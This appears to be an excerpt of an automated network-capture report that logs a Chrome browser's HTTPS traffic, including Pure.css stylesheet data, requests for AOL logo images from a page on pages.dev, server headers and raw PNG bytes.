2024-05-23 22:34:17 UTC	1369	IN	Data Raw: 62 75 74 74 6f 6e 2d 73 65 6c 65 63 74 65 64 2c 61 2e 70 75 72 65 2d 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 2c 61 2e 70 75 72 65 2d 62 75 74 74 6f 6e 2d 73 65 6c 65 63 74 65 64 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 37 38 65 37 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 70 75 72 65 2d 66 6f 72 6d 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2c 2e 70 75 72 65 2d 66 6f 72 6d 20 69 6e 70 75 74 5b 74 79 70 65 3d 70 61 73 73 77 6f 72 64 5d 2c 2e 70 75 72 65 2d 66 6f 72 6d 20 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 2c 2e 70 75 72 65 2d 66 6f 72 6d 20 69 6e 70 75 74 5b 74 79 70 65 3d 75 72 6c 5d 2c 2e 70 75 72 65 2d 66 6f 72 6d 20 69 6e 70 75 74 5b 74 79 70 65 3d 64 61 74 65 5d 2c 2e 70 75 72 65 2d 66 6f 72 6d 20 69 6e 70 Data Ascii: button-selected,a.pure-button-primary,a.pure-button-selected{background-color:#0078e7;color:#fff}.pure-form input[type=text],.pure-form input[type=password],.pure-form input[type=email],.pure-form input[type=url],.pure-form input[type=date],.pure-form inp
2024-05-23 22:34:17 UTC	1369	IN	Data Raw: 70 75 74 5b 74 79 70 65 3d 63 6f 6c 6f 72 5d 3a 66 6f 63 75 73 2c 2e 70 75 72 65 2d 66 6f 72 6d 20 73 65 6c 65 63 74 3a 66 6f 63 75 73 2c 2e 70 75 72 65 2d 66 6f 72 6d 20 74 65 78 74 61 72 65 61 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 30 3b 6f 75 74 6c 69 6e 65 3a 74 68 69 6e 20 64 6f 74 74 65 64 20 5c 39 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 31 32 39 66 65 61 7d 2e 70 75 72 65 2d 66 6f 72 6d 20 69 6e 70 75 74 3a 6e 6f 74 28 5b 74 79 70 65 5d 29 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 30 3b 6f 75 74 6c 69 6e 65 3a 74 68 69 6e 20 64 6f 74 74 65 64 20 5c 39 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 31 32 39 66 65 61 7d 2e 70 75 72 65 2d 66 6f 72 6d 20 69 6e 70 75 74 5b 74 79 70 65 3d 66 69 6c 65 5d 3a 66 6f 63 75 73 2c 2e 70 75 72 65 2d Data Ascii: put[type=color]:focus,.pure-form select:focus,.pure-form textarea:focus{outline:0;outline:thin dotted \9;border-color:#129fea}.pure-form input:not([type]):focus{outline:0;outline:thin dotted \9;border-color:#129fea}.pure-form input[type=file]:focus,.pure-
2024-05-23 22:34:17 UTC	1369	IN	Data Raw: 3a 69 6e 76 61 6c 69 64 2c 2e 70 75 72 65 2d 66 6f 72 6d 20 74 65 78 74 61 72 65 61 3a 66 6f 63 75 73 3a 69 6e 76 61 6c 69 64 2c 2e 70 75 72 65 2d 66 6f 72 6d 20 73 65 6c 65 63 74 3a 66 6f 63 75 73 3a 69 6e 76 61 6c 69 64 7b 63 6f 6c 6f 72 3a 23 62 39 34 61 34 38 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 65 65 35 66 35 62 7d 2e 70 75 72 65 2d 66 6f 72 6d 20 69 6e 70 75 74 3a 66 6f 63 75 73 3a 69 6e 76 61 6c 69 64 3a 66 6f 63 75 73 2c 2e 70 75 72 65 2d 66 6f 72 6d 20 74 65 78 74 61 72 65 61 3a 66 6f 63 75 73 3a 69 6e 76 61 6c 69 64 3a 66 6f 63 75 73 2c 2e 70 75 72 65 2d 66 6f 72 6d 20 73 65 6c 65 63 74 3a 66 6f 63 75 73 3a 69 6e 76 61 6c 69 64 3a 66 6f 63 75 73 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 33 39 66 7d 2e 70 75 72 65 2d 66 6f 72 6d 20 69 Data Ascii: :invalid,.pure-form textarea:focus:invalid,.pure-form select:focus:invalid{color:#b94a48;border-color:#ee5f5b}.pure-form input:focus:invalid:focus,.pure-form textarea:focus:invalid:focus,.pure-form select:focus:invalid:focus{border-color:#39f}.pure-form i
2024-05-23 22:34:17 UTC	1369	IN	Data Raw: 75 72 65 2d 66 6f 72 6d 2d 73 74 61 63 6b 65 64 20 69 6e 70 75 74 3a 6e 6f 74 28 5b 74 79 70 65 5d 29 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 3a 2e 32 35 65 6d 20 30 7d 2e 70 75 72 65 2d 66 6f 72 6d 2d 61 6c 69 67 6e 65 64 20 69 6e 70 75 74 2c 2e 70 75 72 65 2d 66 6f 72 6d 2d 61 6c 69 67 6e 65 64 20 74 65 78 74 61 72 65 61 2c 2e 70 75 72 65 2d 66 6f 72 6d 2d 61 6c 69 67 6e 65 64 20 73 65 6c 65 63 74 2c 2e 70 75 72 65 2d 66 6f 72 6d 2d 61 6c 69 67 6e 65 64 20 2e 70 75 72 65 2d 68 65 6c 70 2d 69 6e 6c 69 6e 65 2c 2e 70 75 72 65 2d 66 6f 72 6d 2d 6d 65 73 73 61 67 65 2d 69 6e 6c 69 6e 65 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 2a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 2a 7a 6f 6f 6d 3a 31 3b 76 65 72 74 Data Ascii: ure-form-stacked input:not([type]){display:block;margin:.25em 0}.pure-form-aligned input,.pure-form-aligned textarea,.pure-form-aligned select,.pure-form-aligned .pure-help-inline,.pure-form-message-inline{display:inline-block;display:inline;zoom:1;vert

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49710	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:19 UTC	621	OUT	GET /wm/assets/images/ns/aol-logo-black-v.0.0.2.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://testing-1g0.pages.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:19 UTC	1052	IN	HTTP/1.1 200 OK x-amz-id-2: bIu+UQD5ot1ZhLtEei1+hv7z8D0iHzI9qQMrGpYDCIBz1F5hYhML8ajMGwhcjNn9wEWLuJIF85Q= x-amz-request-id: PJS6P2R7B2PN782D Date: Mon, 29 Apr 2024 07:02:53 GMT Last-Modified: Fri, 04 May 2018 01:23:57 GMT ETag: "f9e0f24b60732cd95150a37fb003b871" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000; public x-amz-meta-created-date: Thu, 16 Nov 2017 19:59:27 GMT x-amz-meta-mbst-etag: "YM:1:3570f846-88d6-4c90-bd91-179d937c363c00055e1f0ebaf172" x-amz-meta-x-ysws-mbst-vtime: 1510862367682930 Expires: Sat, 04 May 2019 01:23:56 GMT x-amz-meta-x-ysws-access: public Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 16340 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 2129487 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:19 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 0e 00 00 01 39 08 06 00 00 00 39 a2 77 71 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 01 cb 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 58 4d 50 20 43 6f 72 65 20 35 2e 34 2e 30 22 3e 0a 20 20 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 3e 0a 20 20 20 20 20 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: PNGIHDR99wqsRGBiTXtXML:com.adobe.xmp<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.4.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""
2024-05-23 22:34:19 UTC	1300	IN	Data Raw: 80 00 04 20 50 24 01 12 87 fc c2 5e e7 e7 d2 2c 1e 55 1a 25 cc 32 12 83 40 00 02 10 80 00 04 20 00 81 04 09 90 38 24 18 b4 1b 26 d7 da c7 8f a2 6f 00 ba b3 8b b7 35 77 00 b1 1b 02 10 80 00 04 20 00 81 72 09 90 38 e4 15 7b 3e b7 19 17 cf 7a 5c 77 7a 43 00 02 10 80 00 04 20 00 81 7c 09 90 38 e4 13 db 20 57 aa 7c dc 59 c4 13 7e 24 bd 08 76 06 85 00 04 20 00 01 08 40 20 05 02 24 0e 29 44 a9 9b 8d 7c 66 d3 8d d3 bd 56 bc b5 b9 47 88 fd 10 80 00 04 20 00 01 08 14 49 80 c4 21 8f b0 f3 a4 3c 5e 1c 2b a9 0a f1 d4 a1 09 02 10 80 00 04 20 00 01 08 e4 41 80 c4 21 8f 38 6e e4 06 3f 8a 8e 17 cb 3a 9e 2a 34 41 00 02 10 80 00 04 20 00 81 3c 08 90 38 e4 11 47 3e 53 8a 1b 47 3e 57 8a cb 13 6d 10 80 00 04 20 00 01 08 64 40 80 c4 21 fd 20 ae e5 82 09 25 1e 81 20 55 f6 16 87 Data Ascii: P$^,U%2@ 8$&o5w r8{>z\wzC \|8 W\|Y~$v @ $)D\|fVG I!<^+ A!8n?:*4A <8G>SG>Wm d@! % U
2024-05-23 22:34:19 UTC	1300	IN	Data Raw: f8 09 55 25 53 82 1f 73 b0 64 00 01 8b df 7a 40 3f ba 40 00 02 10 80 00 04 20 00 01 f7 04 48 1c fc 84 88 1f d7 fa 89 c5 18 4b 78 eb 30 86 1e 7d 21 00 01 08 40 00 02 10 70 4b 80 c4 c1 47 68 ec 77 0d b5 0f 53 b0 62 24 81 8d fa f3 3b 95 91 10 e9 0e 01 08 40 00 02 10 80 80 3f 02 7f f5 67 52 91 16 d5 45 7a 9d a7 d3 96 34 58 f2 b0 cd d3 3d bc 82 c0 64 04 ec dc 59 3f d1 1e b4 6e 32 a6 34 4f 3a 1f b4 be 7f b2 cd 2a 04 20 00 01 08 f4 24 40 e2 d0 13 d8 44 cd f9 bc 65 22 b0 0b a9 b5 78 6e 17 1a 9b 61 21 e0 91 c0 31 29 08 32 ce e4 7f 25 c7 24 a1 d2 fa 54 e5 ed 15 c5 ad ea 4d 2c 99 f8 f7 e3 d2 92 0a db b6 25 05 02 10 80 00 04 2e 10 20 71 b8 00 65 e6 aa 4a e3 85 99 c7 64 b8 69 09 ac a5 de 84 09 c8 b4 9c d1 ee 8f c0 4a 26 1d 8f ff bf 6b 3d 3c 6e 5b bd a7 12 64 8c 89 95 Data Ascii: U%Ssdz@?@ HKx0}!@pKGhwSb$;@?gREz4X=dY?n24O:* $@De"xna!1)2%$TM,%. qeJdiJ&k=<n[d
2024-05-23 22:34:19 UTC	1300	IN	Data Raw: a2 89 b6 83 a7 cb d1 50 66 a5 88 b7 50 59 85 33 9a 33 2b 69 b2 a7 c5 36 e9 a3 40 60 2c 81 e3 5b ab 7a ac 22 fa 43 00 02 10 30 02 24 0e d3 1e 07 36 09 a8 a7 1d 02 ed 89 12 e0 b8 48 34 70 13 9a 5d 49 f7 67 89 2d 29 10 88 45 c0 ee 43 1f 1e c5 d6 29 10 80 00 04 06 13 20 71 18 8c ae 53 c7 ba 53 2b 1a 95 48 80 a4 b2 c4 a8 5f f7 f9 8d 76 d9 9b 06 26 76 d7 19 b1 67 1c 81 5a dd ed 18 0b 12 0a 04 20 00 81 41 04 48 1c 06 61 eb dc 89 cf 51 4e 51 fd ac cd f6 b4 aa e8 ad 97 45 7b 8f f3 46 c0 12 05 7b 1a fc ce 36 28 10 98 98 c0 5a fa ed 77 0f d5 c4 e3 a0 1e 02 10 c8 94 00 89 c3 74 81 ad a4 3a 4c a7 3e 39 cd ad 2c 7e 90 ec 24 94 af 04 2a 2d c2 d7 55 fe 2d 90 80 25 0d f6 04 b8 2e d0 77 5c 5e 8e 00 c7 dd 72 ec 19 19 02 c9 13 20 71 98 2e 84 3c 4d 3e 65 7b 4c 18 7e 3b ad 2e Data Ascii: PfPY33+i6@`,[z"C0$6H4p]Ig-)EC) qSS+H_v&vgZ AHaQNQE{F{6(Zwt:L>9,~$*-U-%.w\^r q.<M>e{L~;.
2024-05-23 22:34:19 UTC	1300	IN	Data Raw: 80 40 21 04 48 1c 86 05 3a a8 9b 3d 0d a6 9c 13 f8 78 5e d5 a9 a6 51 ab 43 a7 96 65 35 22 41 f5 13 ef 20 53 f8 5d 83 9f 78 60 89 1f 02 f6 06 ee ad 1f 73 b0 04 02 10 98 8a 00 89 c3 30 b2 f5 b0 6e d9 f7 b2 89 ff 7e 84 97 bb 11 7d 73 ed 1a e4 d8 26 57 e7 12 f3 8b a7 aa 89 05 0c 73 67 25 f0 46 a3 55 b3 8e c8 60 10 80 c0 ec 04 48 1c 86 21 e7 29 f0 65 6e 63 27 fe 7d ff 1a d3 65 2b f2 ab e5 78 5b 3e a6 4c 8a 96 8f 01 16 f8 27 f0 8b 4c 5c f9 37 13 0b 21 00 81 a1 04 48 1c fa 93 db a8 4b e8 df ad 88 1e 63 7f a7 30 36 f1 c8 15 32 c7 dc b2 91 0d 1a 9e cf 30 96 8d 01 a3 a7 41 c0 92 06 7b 33 47 81 00 04 32 25 40 e2 d0 3f b0 3c fd bd ce ac b9 be ab d3 9e 83 5a 8d d5 d1 69 a0 04 1b d5 09 da 9c 8b c9 36 11 b2 09 11 05 02 10 b8 4f c0 1e 74 54 f7 9b d1 02 02 10 48 91 00 89 Data Ascii: @!H:=x^QCe5"A S]x`s0n~}s&Wsg%FU`H!)enc'}e+x[>L'L\7!HKc0620A{3G2%@?<Zi6OtTH
2024-05-23 22:34:19 UTC	1300	IN	Data Raw: 98 fc 5e 67 73 6b 4f ad 9d e1 56 03 f6 f5 26 60 d7 86 7f 48 1e 24 29 26 0c 32 fb a4 34 da b2 e4 e1 95 24 07 7f e4 86 9b c2 03 3a 37 a1 c0 10 08 74 27 40 e2 70 ce aa 56 d5 ea bc 9a 9a 27 04 e6 9e c8 37 4f c6 66 f5 9c 40 ad 2a 8e d9 73 2e f7 6a 48 b8 ee 11 ea be bf 55 53 9b 60 ff 53 62 eb b9 95 ad 1c fa 4e f2 3e 37 c7 16 f4 27 68 ec cd 82 e3 33 34 04 20 30 80 00 89 c3 39 34 26 13 e7 4c 9e d7 ec 9e 57 4c bc 7d 90 fe b9 c7 9c d8 a5 e8 ea eb e8 1a f3 56 b8 96 7b 55 de 2e ce e6 dd 56 23 d9 5b 86 46 92 73 b1 eb d0 4f 12 4b 90 6c 9d 32 9e 00 f7 db f1 0c d1 00 81 59 09 90 38 9c e2 0e da ac 4e ab d8 7a 46 60 a9 09 fc 6f cf ec 60 f3 94 00 37 e0 53 1e f7 b6 f8 4c e2 1e a1 fb fb 6d f2 6c 6f 18 5e 49 4a 9a 48 37 f2 d7 de 3e 2c 75 2d d4 d0 d9 94 8d 3c 09 d9 78 83 23 10 Data Ascii: ^gskOV&`H$)&24$:7t'@pV'7Of@*s.jHUS`SbN>7'h34 094&LWL}V{U.V#[FsOKl2Y8NzF`o`7SLmlo^IJH7>,u-<x#
2024-05-23 22:34:19 UTC	1300	IN	Data Raw: 70 49 8e c4 5b c2 24 c3 86 d1 25 10 28 31 71 a8 15 58 9b 4c 50 ee 13 f0 3e 31 6f ee bb 40 0b 11 d8 14 4c a1 2a d8 f7 2e ae 6f d5 68 df a5 21 6d a2 12 20 59 bb 8d 73 7d 7b 37 7b 21 00 81 a5 08 94 98 38 f0 a3 e8 ee 47 db ae 7b d3 45 5a 1e 34 aa 77 1b 17 01 f3 6c d0 95 b6 eb 67 75 a5 6c f2 e4 f2 76 a4 f9 b1 ee 6d 3e 53 ed 6d a5 78 3b 95 f2 0c f4 ae e5 83 5d b7 28 10 80 80 33 02 a5 25 0e 41 fc 2b 67 31 f0 6a 4e 2a 13 f2 df bc 02 74 66 57 a9 09 b3 4d 40 28 97 09 6c 55 dd 5e de 45 ed 0c 04 48 da 6e 43 ae 6e ef 66 2f 04 20 b0 04 81 d2 12 87 92 bf f5 ee 7b 7c 79 ff 4c e9 e8 4f 2a 09 ce d1 de a5 96 95 06 0e 4b 0d be e0 b8 d5 82 63 7b 1f 9a 89 eb b2 11 6a 35 fc 76 59 13 5c 8f 4e d2 ef 3a 3c 18 57 2a 81 d2 12 87 ba d4 40 0f f0 bb 19 d0 67 89 2e ad 06 dd 2f 31 70 82 Data Ascii: pI[$%(1qXLP>1o@L.oh!m Ys}{7{!8G{EZ4wlgulvm>Smx;](3%A+g1jNtfWM@(lU^EHnCnf/ {\|yLOKc{j5vY\N:<W@g./1p
2024-05-23 22:34:19 UTC	1300	IN	Data Raw: c4 c1 92 86 d5 12 10 13 1e d3 26 d6 87 84 ed bf 67 7a ae 6f 53 ee f9 3d 74 3f 9f 2b 0d 25 e7 bb df 7f 7c 9b 87 75 cf 08 b4 cf b6 d9 84 00 04 20 e0 86 40 4e 89 03 9f 29 f5 3f ac 3e f6 ef 92 54 8f 5d 52 d6 2e 6f 6c 90 09 9b e5 cd c0 02 08 40 00 02 10 80 00 04 3c 12 c8 25 71 58 0b ae 09 a5 1f 81 a6 5f f3 e4 5a ef 65 71 9b 9c d5 cb 1a cc 5b 87 65 f9 33 3a 04 20 00 01 08 40 c0 2d 81 5c 12 07 de 36 f4 3f c4 5a 75 b1 89 75 ee a5 c9 dd c1 c8 fe 6d a4 2f 44 d6 89 3a 08 40 00 02 10 80 00 04 32 20 90 43 e2 b0 52 1c 6c b2 43 e9 47 60 d7 af 79 b2 ad f9 9d 43 ff d0 d5 fd bb d0 03 02 10 80 00 04 20 00 81 dc 09 e4 90 38 58 d2 60 c9 03 a5 1f 81 df fa 35 4f b6 75 29 09 52 cc 00 f1 b9 52 4c 9a e8 82 00 04 20 00 01 08 64 42 20 87 c4 81 cf 94 fa 1f 8c 07 75 29 69 42 5d 92 af Data Ascii: &gzoS=t?+%\|u @N)?>T]R.ol@<%qX_Zeq[e3: @-\6?Zuum/D:@2 CRlCG`yC 8X`5Ou)RRL dB u)iB]
2024-05-23 22:34:19 UTC	1300	IN	Data Raw: 38 5e 4a 43 71 fe a6 14 2d 6c 2d 86 80 e7 c4 a1 2e 26 0a 38 0a 81 34 09 78 ff fd 51 2b ac 87 34 d1 4e 6e 75 d0 08 f5 e4 a3 30 c0 3d 02 24 70 d7 09 f1 9f 38 5e 67 c3 1e 08 2c 46 c0 73 e2 e0 7d 52 b2 58 d0 18 18 02 4e 08 04 d9 51 39 b1 e5 9a 19 cd b5 1d d4 bf 60 d2 ba ec 41 50 6b f8 b0 ac 09 ae 47 6f 5c 5b 87 71 10 28 94 80 d7 c4 a1 52 3c 42 a1 31 c1 6d 08 a4 44 c0 fb f7 d9 fc 40 fa fa d1 14 b4 ab be be 9b 3d 13 13 20 71 bb 0d 98 4f 95 6e f3 61 2f 04 16 21 e0 35 71 f0 3e 19 59 24 58 0c 0a 01 87 04 36 b2 69 e5 d0 ae a3 49 4c 3e 8e 24 2e 2f 99 bc 5e e6 32 75 6d ad 01 c2 d4 83 24 ac bf 49 d8 76 4c 87 40 d6 04 3c 26 0e 36 09 a9 b3 a6 8e 73 10 c8 87 80 9d af 1b c7 ee 34 8e 6d f3 60 5a 90 11 0f 1e 0c 29 c8 06 3b 67 de 15 e4 ef 10 57 79 53 38 84 1a 7d 20 30 03 01 Data Ascii: 8^JCq-l-.&84xQ+4Nnu0=$p8^g,Fs}RXNQ9`APkGo\[q(R<B1mD@= qOna/!5q>Y$X6iIL>$./^2um$IvL@<&6s4m`Z);gWyS8} 0
2024-05-23 22:34:19 UTC	1300	IN	Data Raw: 46 14 c6 ab 4a 4e 43 c9 be c7 0c d6 41 ca b6 31 15 a2 0b 02 91 08 d8 c3 11 7b 52 9f 53 59 c9 19 4b 84 ea 31 4e 2d 95 38 54 32 3a 8c 31 9c be 10 80 40 12 04 5e 3a b5 72 2b bb 6c d2 42 19 47 60 ad ee 96 3c bc 19 a7 26 99 de 41 96 da 8d f7 5d 32 16 fb 36 94 04 de 77 7c 4a b4 2e ca e4 da 39 b8 0f b2 ef 61 a8 8d 4b 25 0e 5e 27 13 43 39 d2 0f 02 10 b8 4c a0 be 5c bd 78 ad 25 0d bb c5 ad c8 c3 00 bb d1 da 44 da 26 d4 41 92 6b 79 23 c7 2c 49 aa 72 75 70 01 bf b6 0b 8c c9 90 10 b8 46 c0 ae 65 76 1d ab ae 35 c8 a8 fe ad 7c f9 30 c4 9f 25 12 07 0b 4c 3d c4 58 fa 40 00 02 c9 11 f0 7c be ff 9c 1c 4d df 06 57 32 ef b3 c4 92 08 8b 7b 2e a5 92 23 39 fa b5 74 7c b6 32 a0 5d da 08 c6 87 c0 13 02 9f b4 be 7e b2 9d fb 6a 2d 07 1f fa 3a b9 44 e2 f0 a6 af 91 b4 87 00 04 92 26 Data Ascii: FJNCA1{RSYK1N-8T2:1@^:r+lBG`<&A]26w\|J.9aK%^'C9L\x%D&Aky#,IrupFev5\|0%L=X@\|MW2{.#9t\|2]~j-:D&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49711	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:19 UTC	622	OUT	GET /wm/assets/images/ybar/aol-logo-white-v0.0.4.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://testing-1g0.pages.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:19 UTC	1050	IN	HTTP/1.1 200 OK x-amz-id-2: s0Ls0Q09HdPCv4Zma3/ulOAcgDIgppIQvtWki7wRVhTF3yeVm2Ixt26b+4WGzVBbklJUj2Hk+jY= x-amz-request-id: MS7MR5K05W8DJVHA Date: Wed, 01 May 2024 17:24:40 GMT Last-Modified: Thu, 03 May 2018 20:51:15 GMT ETag: "f0d2ba5c63ab03f3b53158f293f651c7" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-meta-created-date: Wed, 18 Apr 2018 19:01:42 GMT x-amz-meta-mbst-etag: "YM:1:d32351c9-ea78-46c0-b7a5-1066118ae37d00056a2415eb6ba6" x-amz-meta-x-ysws-mbst-vtime: 1524078102670246 Expires: Fri, 03 May 2019 20:51:13 GMT x-amz-meta-x-ysws-access: public Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 4314 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 1919380 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:19 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 3c 08 06 00 00 00 84 86 43 6a 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 06 be 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 30 20 37 39 2e 31 36 30 34 35 31 2c 20 32 30 31 37 2f 30 35 2f 30 36 2d 30 31 3a 30 38 3a 32 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDR<CjpHYs.#.#x?viTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RD
2024-05-23 22:34:19 UTC	1300	IN	Data Raw: 74 3a 61 63 74 69 6f 6e 3d 22 73 61 76 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 38 64 61 66 32 64 38 32 2d 62 35 31 38 2d 34 36 38 61 2d 39 38 33 35 2d 38 34 63 36 39 64 33 64 66 33 63 38 22 20 73 74 45 76 74 3a 77 68 65 6e 3d 22 32 30 31 38 2d 30 34 2d 31 33 54 31 31 3a 35 36 3a 31 32 2d 30 37 3a 30 30 22 20 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 28 4d 61 63 69 6e 74 6f 73 68 29 22 20 73 74 45 76 74 3a 63 68 61 6e 67 65 64 3d 22 2f 22 2f 3e 20 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 69 6f 6e 3d 22 73 61 76 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 34 65 63 38 35 35 30 Data Ascii: t:action="saved" stEvt:instanceID="xmp.iid:8daf2d82-b518-468a-9835-84c69d3df3c8" stEvt:when="2018-04-13T11:56:12-07:00" stEvt:softwareAgent="Adobe Photoshop CC (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:4ec8550
2024-05-23 22:34:19 UTC	1300	IN	Data Raw: c9 86 76 0f a1 25 0f 80 83 c0 bd 06 1b b3 81 a1 86 76 e5 7c 14 38 36 80 9d 18 b4 a1 3c da d8 7a 0f c4 8a d5 b1 ae c1 fd cb 2d 20 c7 1a c8 3a 43 df a7 00 6f 31 b4 1b c8 eb d1 cc d4 97 a7 d1 12 cd 3d 28 f0 5e 83 fe a7 bf 06 b0 7d 2a b6 18 76 70 90 24 89 eb 6b 4a 92 24 07 12 77 76 26 49 32 a6 cc d6 d8 e2 df 5d e9 31 8c bb f4 1a 96 24 c9 83 86 3e 07 b2 27 49 92 9b 93 24 99 56 a5 8f 71 49 92 2c 4b 92 64 93 67 3f 87 92 24 99 50 a5 8f d2 ab c5 d0 cf c1 24 49 66 d5 b0 eb f5 b2 5c b1 2e 47 ab f9 ae 3c 82 6e 7f 03 f9 47 f1 ef ae cc c4 be e8 dd 0d bc d1 d8 16 54 3d 7c 3e 70 03 ba 5a 55 62 1f f0 55 b4 80 ee b3 65 40 07 fa bc 1b 0e 57 c7 1a 8a 6d 7d ab 1f f8 55 95 f7 f6 18 ec 8d c4 7e 9b 98 6e 6c 07 70 27 4a d4 fe 31 e3 f1 09 b0 02 bf c4 eb 12 a4 ee 68 28 5c 1d eb 0c Data Ascii: v%v\|86<z- :Co1=(^}*vp$kJ$wv&I2]1$>'I$VqI,Kdg?$P$If\.G<nGT=\|>pZUbUe@Wm}U~nlp'J1h(\
